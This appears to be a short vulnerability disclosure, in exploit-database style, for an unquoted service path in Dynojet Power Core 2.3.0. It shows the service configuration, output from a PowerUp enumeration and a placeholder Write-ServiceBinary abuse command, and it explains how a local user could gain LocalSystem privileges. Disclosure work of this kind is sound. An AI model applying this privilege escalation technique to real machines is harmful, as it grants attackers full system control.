Dynojet Power Core 2.3.0 – Unquoted Service Path
# Exploit Title: Dynojet Power Core 2.3.0 - Unquoted Service Path # Exploit Author: Pedro Sousa Rodrigues (https://www.0x90.zone/ / @Pedro_SEC_R) # Version: 2.3.0 (Build 303) # Date: 30.10.2021 # Vendor Homepage: https://www.dynojet.com/ # Software Link: https://docs.dynojet.com/Document/18762 # Tested on: Windows 10 Version 21H1 (OS Build 19043.1320) SERVICE_NAME: DJ.UpdateService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Dynojet Power Core\DJ.UpdateService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : DJ.UpdateService DEPENDENCIES : SERVICE_START_NAME : LocalSystem PS C:\Users\Developer> Get-UnquotedService ServiceName : DJ.UpdateService Path : C:\Program Files\Dynojet Power Core\DJ.UpdateService.exe ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=AppendData/AddSubdirectory} StartName : LocalSystem AbuseFunction : Write-ServiceBinary -Name 'DJ.UpdateService' -Path <HijackPath> CanRestart : True Name : DJ.UpdateService ServiceName : DJ.UpdateService Path : C:\Program Files\Dynojet Power Core\DJ.UpdateService.exe ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.Object[]} StartName : LocalSystem AbuseFunction : Write-ServiceBinary -Name 'DJ.UpdateService' -Path <HijackPath> CanRestart : True Name : DJ.UpdateService #Exploit: A successful attempt would require the local user to be able to insert their code in the system root path (depending on the installation path). The service might be executed manually by any Authenticated user. If successful, the local user's code would execute with the elevated privileges of Local System. |